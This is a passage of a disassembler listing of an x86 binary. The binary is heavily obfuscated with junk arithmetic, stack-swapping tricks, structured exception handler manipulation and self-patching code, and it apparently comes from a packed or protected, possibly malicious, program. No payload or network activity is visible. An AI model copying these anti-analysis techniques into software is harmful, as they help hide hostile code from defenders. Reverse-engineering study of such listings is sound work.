		add	ecx, 0BC2D069Bh
		sub	ecx, 0FCD2F12Ah

loc_44969B:				; CODE XREF: sub_43F285:loc_4579F2j
		add	ecx, 0A19F36B6h
		xchg	ecx, [esp+0]
		jmp	loc_4591DD
; END OF FUNCTION CHUNK	FOR sub_458BD3
; ---------------------------------------------------------------------------

loc_4496A9:				; CODE XREF: dviuq5id:loc_439248j
		rol	esi, 2
		call	sub_4434EB
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_4496B1:				; CODE XREF: sub_43C3D8+16894j
		jmp	loc_459E3E
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458D3

loc_4496B6:				; CODE XREF: sub_4458D3+80B7j
		jmp	loc_45368E
; END OF FUNCTION CHUNK	FOR sub_4458D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_4496BB:				; CODE XREF: sub_449485-C61Cj
		jmp	loc_43B4C8
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_4496C0:				; CODE XREF: sub_44B624:loc_44C695j
		jns	loc_459F2E
		jmp	sub_454FA5
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4496CB:				; CODE XREF: sub_441DDA-3C29j
		jz	loc_453A65
		jmp	loc_440103
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_4496D6:				; CODE XREF: sub_44B02F+5ACj
		call	sub_440A7F
		cmp	eax, [ebp-8]
		jnz	loc_43A46B
		mov	eax, [ebp-14h]
		push	offset loc_43B67F
		jmp	nullsub_374
; END OF FUNCTION CHUNK	FOR sub_44B02F

; =============== S U B	R O U T	I N E =======================================



sub_4496F1	proc near		; CODE XREF: dviuq5id:0044B5E2j
					; sub_4575D9-2DB0p

arg_4		= dword	ptr  8

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 7C456C52h
		popf
		xchg	eax, [esp-8+arg_4]
		jmp	sub_453642
sub_4496F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449704	proc near		; DATA XREF: sub_4440CA+14EEo

; FUNCTION CHUNK AT 0044C779 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		jmp	loc_44C779
sub_449704	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_44970D:				; CODE XREF: sub_43E6A7+2j
					; dviuq5id:0044DF31j
		call	sub_43938B
		test	al, al
		jz	loc_457DEF
		jmp	loc_44825B
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450DC5

loc_44971F:				; CODE XREF: sub_450DC5+1F7Cj
		lea	eax, loc_44972F
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_450DC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E4F

loc_44972F:				; CODE XREF: sub_442E4F:loc_44C3FBj
					; dviuq5id:0044D613j ...
		pop	large dword ptr	fs:0
		add	esp, 4

locret_449739:				; CODE XREF: sub_442913:loc_44A3F8j
		retn
; END OF FUNCTION CHUNK	FOR sub_442E4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44973A:				; CODE XREF: sub_439C09+1F37Ej
		jmp	nullsub_422
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44973F:				; CODE XREF: sub_451EEC:loc_45A321j
		or	ecx, 8C887710h
		add	ecx, 73545E7Bh
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43CF3F
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_449753:				; CODE XREF: sub_4461D0:loc_452B00j
					; sub_4461D0+C943j
		sub	edx, 0DEFD5F07h
		add	edx, 9E63783Dh
		xor	eax, edx
		pop	edx
		add	eax, 0CCD8DBFFh
		mov	edx, [esp-4+arg_0]
		jmp	loc_457884
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------

loc_449770:				; CODE XREF: dviuq5id:loc_444203j
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_43A409
		jmp	loc_4524A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_449789:				; CODE XREF: sub_43D83D:loc_44A587j
		and	eax, 79322D8Bh
		xor	eax, 442719FFh
		and	eax, 0E85A37AEh
		sub	eax, 8E2D8E16h
		add	eax, 867209A6h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4497AF:				; CODE XREF: sub_4404A6:loc_452F7Aj
					; sub_454094:loc_4538F9j
		push	4461D64Bh
		pop	eax
		rol	eax, 1Fh
		and	eax, 0F48999A4h
		jmp	loc_453D15
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_4497C3	proc near		; CODE XREF: sub_455518:loc_447E95p
					; sub_454267+A5j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004512A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004571DC SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	edx
		mov	eax, [esp-8+arg_4]
		jmp	loc_4512A3
sub_4497C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4497D0:				; CODE XREF: dviuq5id:00449DBAj
		or	edx, 17ACDA1h
		and	edx, 225A2EC1h
		or	edx, 0D4B1BA0Ah
		and	edx, 0D9A4CB54h
		xor	edx, 801D026Eh
		add	edx, ebp
		add	edx, 0AF4277BAh
		mov	edx, [edx]
		jmp	loc_44E159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_4497FD:				; CODE XREF: sub_43D83D:loc_44CB4Aj
		or	eax, eax
		jnz	loc_452676
		jmp	loc_4427D5
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_44980A:				; CODE XREF: sub_45345A-DDD0j
		pop	edx
		mov	edx, [esp+0]
		push	edx
		mov	edx, eax
		jmp	loc_444363
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_449816:				; CODE XREF: sub_450905-E922j
		mov	edi, [edx]
		ror	eax, 1Dh

loc_44981B:				; CODE XREF: sub_450905:loc_4551BBj
		mov	eax, [esp-4+arg_0]
		call	sub_452A73

loc_449823:				; CODE XREF: sub_450905-8F46j
					; sub_44A15A:loc_455105j
		xchg	eax, [esp-4+arg_0]
		jmp	loc_439134
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44982B:				; CODE XREF: sub_43FA59+1183Ej
		jno	loc_453431

loc_449831:				; CODE XREF: sub_43FA59:loc_4516BFj
		call	sub_44C80D

loc_449836:				; CODE XREF: dviuq5id:004514BBj
		jmp	loc_4485F5
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_44983B:				; CODE XREF: sub_43B2BA+FF8Aj
		jmp	sub_453ECC
; END OF FUNCTION CHUNK	FOR sub_43B2BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_449840:				; CODE XREF: sub_43FDFB+9BD4j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_449845:				; CODE XREF: sub_44EAC4-9869j
		jmp	sub_450045
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_44984A:				; CODE XREF: sub_446181-BC7Cj
		jmp	loc_448AAB
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
		mov	edx, 43A8AC5Ch
		call	sub_449EB7
		call	sub_456F43
		push	63547CE5h
		jmp	loc_455EF0
; ---------------------------------------------------------------------------
		mov	[ebp+0], edi
		jmp	loc_4536A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_449870:				; CODE XREF: sub_449EB7:loc_449CA3j
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jmp	loc_452303
; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_449881:				; CODE XREF: sub_459DA3:loc_43CDDEj
		mov	edx, ebx
		xchg	edx, [esp+0]
		push	9FB0F4DDh
		pop	ebx
		sub	ebx, 0BEB43C40h

loc_449892:				; CODE XREF: sub_453BE2-50BCj
		add	ebx, 1F47EBD5h
		xchg	ebx, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451BE3

loc_4498A0:				; CODE XREF: sub_451BE3+3j
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		push	offset sub_441F10
		jmp	loc_452C77
; END OF FUNCTION CHUNK	FOR sub_451BE3
; ---------------------------------------------------------------------------

loc_4498AF:				; CODE XREF: dviuq5id:00454951j
		and	edi, edx
		shr	edi, 13h
		pushf

loc_4498B5:				; CODE XREF: dviuq5id:loc_45493Fj
		xor	esi, 2E96E3Dh
		sub	eax, esi
		pop	esi
		xor	eax, 3FC0D22Bh
		jmp	loc_44F041
; ---------------------------------------------------------------------------

loc_4498C9:				; CODE XREF: dviuq5id:004480ECj
		adc	ebx, 0BA799E00h
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4498CF:				; CODE XREF: sub_43C2DA:loc_4480D6j
		add	eax, 5D4281Ah
		xchg	eax, [esp+0]
		jmp	loc_4512E7
; END OF FUNCTION CHUNK	FOR sub_43C2DA

; =============== S U B	R O U T	I N E =======================================



sub_4498DD	proc near		; CODE XREF: sub_44BB42-F6A6j

; FUNCTION CHUNK AT 00439000 SIZE 00000013 BYTES

		push	ebx
		push	70283FB6h
		pop	ebx
		xor	ebx, 82D75EEFh
		add	ebx, 0D426FFBh
		jmp	loc_439000
sub_4498DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_4498F5:				; CODE XREF: sub_44CFBC:loc_4512B2j
		mov	ds:dword_4442B8, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450667

loc_4498FC:				; CODE XREF: sub_450667+Bj
		jmp	loc_452139
; END OF FUNCTION CHUNK	FOR sub_450667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_449901:				; CODE XREF: sub_45288A-EF5Dj
		jmp	loc_4447DF
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CD6

loc_449906:				; CODE XREF: sub_440CD6:loc_440CE8j
		jmp	loc_4434B9
; END OF FUNCTION CHUNK	FOR sub_440CD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44990B:				; CODE XREF: sub_44CFBC+BBA3j
		rol	eax, 0Ah
		push	eax

locret_44990F:				; CODE XREF: dviuq5id:0043E32Ej
		retn
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_449910:				; CODE XREF: sub_43C9A9+1B6BEj
		jmp	loc_43BEBE
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449916:				; CODE XREF: dviuq5id:004401C7j
		jmp	sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44991B:				; CODE XREF: sub_43C2DA+D7C4j
		jp	loc_439EAC

loc_449921:				; CODE XREF: sub_43C2DA:loc_43E9F6j
		sub	esi, 6F341CAh
		or	esi, 28FA713Dh
		add	esi, 8445EF95h
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	loc_439D2D
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459588

loc_44993C:				; CODE XREF: sub_459588-1E683j
		sub	al, 99h
		push	offset sub_4420DF
		jmp	nullsub_376
; END OF FUNCTION CHUNK	FOR sub_459588

; =============== S U B	R O U T	I N E =======================================



sub_449948	proc near		; CODE XREF: dviuq5id:0044264Dj
					; sub_448154+5FE5p

; FUNCTION CHUNK AT 00450846 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004567B9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00459B1B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	ecx, 5EE9BB6Bh
		mov	ecx, [ecx]
		push	edx
		pushf
		push	0B1BAD075h
		pop	edx
		jmp	loc_4567B9
sub_449948	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_449961:				; CODE XREF: sub_4525D0:loc_44A09Dj
		push	0E00C8051h
		pop	eax
		or	eax, 62B87C47h
		add	eax, 8FD94976h
		call	sub_44A58C
		mov	ds:off_41D040, eax
		jmp	loc_457639
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_449983:				; CODE XREF: sub_448D5E-4DE4j
		pop	edx
		xor	edx, ds:4000F7h
		rol	edx, 1Ah
		xor	edx, 0E0FAE97Fh
		jmp	loc_44EAED
; END OF FUNCTION CHUNK	FOR sub_448D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_449998:				; CODE XREF: sub_456A43-14A91j
		cmp	edx, 0E9B8BC24h
		jmp	loc_444122
; END OF FUNCTION CHUNK	FOR sub_456A43

; =============== S U B	R O U T	I N E =======================================



sub_4499A3	proc near		; CODE XREF: dviuq5id:0043DABCj
					; dviuq5id:00459360p

; FUNCTION CHUNK AT 004477E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C9DE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004566EA SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	dword ptr [eax], 47424454h
		jnz	loc_447D2A
		jmp	loc_4566EA
sub_4499A3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4499B8:				; CODE XREF: dviuq5id:0044E4E9j
		mov	ebp, 0D66DF2B0h
		mov	ebp, [edx]
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4499BF:				; CODE XREF: sub_43FDFB:loc_44E4DBj
		sub	edi, 607B2743h
		add	edi, 0B319874Ah
		popf
		xchg	edi, [esp+0]
		jmp	loc_449840
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_372. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4499D5:				; CODE XREF: dviuq5id:00445009j
		jmp	locret_458A26
; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_457D5C
		dd 0AF850F00h, 0E9FFFFB5h, 0FFFFAA33h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_4499EC:				; CODE XREF: sub_44875D:loc_44A659j
					; sub_43C03F:loc_45A041j
		push	eax
		push	esi
		push	0D1E57251h
		xor	esi, edx

loc_4499F5:				; CODE XREF: sub_43938B:loc_451C50j
		jmp	loc_4506CD
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_4499FA:				; CODE XREF: sub_442BBA-6A9Bj
		xor	eax, 0E8CB3BFEh
		rol	eax, 1Ah
		test	eax, 4000000h
		jmp	loc_4519D2
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
		push	2928BFAh
		pop	eax
		add	eax, 3F608BDBh
		sub	eax, 0E8F24E42h
		add	eax, 0A7A9B840h
		xor	eax, 0C05B21FBh
		call	sub_453642
		mov	ds:dword_41D144, eax
		jmp	loc_44C2D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_449A3C:				; CODE XREF: sub_459490-4ABBj
		mov	[ebx], eax
		call	sub_444E3D

loc_449A43:				; CODE XREF: sub_45634D+Cj
		jmp	loc_443DD1
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D948

loc_449A48:				; CODE XREF: sub_44D948-1D68j
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_44D948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_449A4D:				; CODE XREF: sub_4452A6+8j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_4548D9
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8

loc_449A5E:				; CODE XREF: dviuq5id:loc_44AB4Cj
		jmp	loc_445908
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_449A63:				; CODE XREF: sub_43CB4C+14ACDj
					; sub_43CB4C+14ADAj
		jnb	loc_43DDE8
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_43B18A
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_382. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449A73:				; CODE XREF: dviuq5id:00458209j
		pop	ebx
		and	ebx, 948BD197h
		or	ebx, 3FBA8292h
		and	ebx, 0EB42B80Fh
		xor	ebx, 6D18FBBDh
		jmp	loc_43B692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_449A91:				; CODE XREF: sub_43C2DA+2725j
		or	edi, ebx
		rol	edx, 16h
		sub	ebp, ebx
		cmp	edx, 0A46E76B3h
		jmp	loc_44991B
; END OF FUNCTION CHUNK	FOR sub_43C2DA

; =============== S U B	R O U T	I N E =======================================



sub_449AA3	proc near		; CODE XREF: dviuq5id:0044287Fp
					; dviuq5id:00455113j

; FUNCTION CHUNK AT 0043D98E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_453642
		mov	ds:off_41D0B8, eax
		lea	eax, loc_43F576
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D98E
sub_449AA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_449AC0:				; CODE XREF: sub_445437:loc_43F576j
		pop	edx
		jmp	loc_43C327
; END OF FUNCTION CHUNK	FOR sub_445437

; =============== S U B	R O U T	I N E =======================================



sub_449AC6	proc near		; CODE XREF: sub_4536A5j
					; DATA XREF: sub_4458D3+DDC8o

; FUNCTION CHUNK AT 004397E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449376 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044F80C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00451587 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451EFE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004539AF SIZE 00000022 BYTES

		mov	esi, [eax]
		push	edx
		push	9704371Dh
		pop	edx
		sub	edx, 0B685AE80h
		jmp	loc_442D6B
sub_449AC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449ADA:				; CODE XREF: dviuq5id:loc_44B3D8j
		or	ebx, 4926FD6h
; START	OF FUNCTION CHUNK FOR sub_4437F7

loc_449AE0:				; CODE XREF: sub_4437F7:loc_43BF03j
		js	loc_44B848
; END OF FUNCTION CHUNK	FOR sub_4437F7
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_449AE6:				; CODE XREF: sub_446A9C+CE3Aj
		jmp	loc_452CB2
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------

loc_449AEB:				; CODE XREF: dviuq5id:0044B116j
		jmp	loc_457E06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_449AF0:				; CODE XREF: sub_446465-572Fj
		jmp	loc_43F447
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
		js	loc_44423B
		cdq
		jmp	loc_43EF8F
; ---------------------------------------------------------------------------

loc_449B01:				; CODE XREF: dviuq5id:00458D93j
		jns	loc_452783

; =============== S U B	R O U T	I N E =======================================



sub_449B07	proc near		; CODE XREF: sub_441F76+70E2p

; FUNCTION CHUNK AT 00451BB2 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	ebp
		jmp	loc_451BB2
sub_449B07	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE3

loc_449B11:				; CODE XREF: sub_447EE3:loc_44092Aj
		jmp	ds:dword_41D0FC
; END OF FUNCTION CHUNK	FOR sub_447EE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459630

loc_449B17:				; CODE XREF: sub_459630+A4Ej
		jmp	loc_4550C9
; END OF FUNCTION CHUNK	FOR sub_459630
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_449B1C:				; CODE XREF: sub_443862+436Cj
		jmp	loc_455A3B
; END OF FUNCTION CHUNK	FOR sub_443862
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
		dd offset sub_43B7FB
; ---------------------------------------------------------------------------
		jmp	locret_43A45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_449B2B:				; CODE XREF: sub_457A3C:loc_457836j
		shr	edx, 3
		mov	ecx, ds:dword_44DF0C
		jnb	loc_4584BA
		or	[ecx+edx], al
		mov	eax, [ebp-0Ch]
		jmp	loc_455F4B
; END OF FUNCTION CHUNK	FOR sub_457A3C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449B46:				; CODE XREF: dviuq5id:0044E795j
		jmp	locret_459D36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_449B4B:				; CODE XREF: sub_459490-17F56j
		jmp	loc_43E3F7
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_449B50:				; CODE XREF: sub_44D022-EACCj
		jnz	loc_447BEF
		jmp	loc_4434C8
; END OF FUNCTION CHUNK	FOR sub_44D022

; =============== S U B	R O U T	I N E =======================================



sub_449B5B	proc near		; CODE XREF: dviuq5id:0044885Fj
					; sub_43FA59:loc_44C1C2p

; FUNCTION CHUNK AT 004392A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443423 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00447D14 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448417 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448F28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ADF6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004527F0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00452CA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004530BF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045311C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004540BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455386 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045926B SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_451D52
		jmp	loc_4392A2
sub_449B5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 0A7A44D83h
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_449B72:				; CODE XREF: sub_44EAC4:loc_44D038j
		call	sub_453642
		push	ecx
		mov	ecx, ebx
		jmp	loc_43E72B
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_449B7F	proc near		; DATA XREF: sub_43938B+192B0o

; FUNCTION CHUNK AT 0043A70D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044070F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044352D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044550E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448C66 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004508A1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00455232 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456474 SIZE 00000005 BYTES

		or	eax, eax
		jnz	loc_44352D
		jmp	loc_43A70D
sub_449B7F	endp

; ---------------------------------------------------------------------------

loc_449B8C:				; CODE XREF: dviuq5id:00439B3Cj
					; dviuq5id:loc_43D12Ej
		sub	esi, 91D6190Bh
		add	esi, 0B780682h
		and	esi, 9FB2B292h
		xor	esi, 83541571h
		add	esi, ebp
		add	esi, 0EC09E809h
		mov	[esi], eax
		jmp	loc_449122
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_339. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449BB4:				; CODE XREF: dviuq5id:0043D5FBj
		jmp	loc_4468E8
; ---------------------------------------------------------------------------

loc_449BB9:				; CODE XREF: dviuq5id:0043D425j
		jmp	loc_44DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_449BBE:				; CODE XREF: sub_448424+BC15j
		mov	edi, esi
		ja	loc_43AC46
		rol	edx, 8

loc_449BC9:				; CODE XREF: sub_448424:loc_43BAFAj
		mov	eax, [ebp-4]
		jmp	loc_44B961
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_449BD1:				; CODE XREF: sub_43B89D:loc_44A3A1j
		push	edx
		push	eax
		push	47668351h
		pop	eax
		add	eax, 0CA831377h
		test	eax, 20000000h
		jmp	loc_44649D
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_449BEA:				; CODE XREF: sub_43C9A9-34F0j
		mov	edx, [ecx]
		not	esi
		jmp	loc_44A9A2
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9D7

loc_449BF3:				; CODE XREF: sub_44D9D7+C2C4j
		jge	loc_4596E0

loc_449BF9:				; CODE XREF: dviuq5id:00452E50j
		jmp	loc_43EEC1
; END OF FUNCTION CHUNK	FOR sub_44D9D7
; ---------------------------------------------------------------------------
		sub	ecx, 0A899F373h
		xchg	ebp, [ecx]
		jmp	loc_4596DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_449C0B:				; CODE XREF: sub_45A397-1EB6Dj
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_45A397
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_449C0C:				; CODE XREF: sub_43C03F+Cj
		or	eax, 0CE319D08h
		rol	eax, 13h
		xor	eax, 2493843Dh
		add	eax, ebp
		add	eax, 24A20415h
		mov	eax, [eax]
		jmp	loc_45A041
; END OF FUNCTION CHUNK	FOR sub_43C03F

; =============== S U B	R O U T	I N E =======================================



sub_449C2A	proc near		; DATA XREF: dviuq5id:0045269Do

; FUNCTION CHUNK AT 0043EC79 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F835 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446530 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C542 SIZE 00000007 BYTES

		add	eax, ebp
		add	eax, 0C5440272h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439EA2
		jmp	loc_446530
sub_449C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_449C42	proc near		; CODE XREF: dviuq5id:0043F167j
					; sub_44AC6E+5DB6p

; FUNCTION CHUNK AT 0043D668 SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jmp	loc_43D668
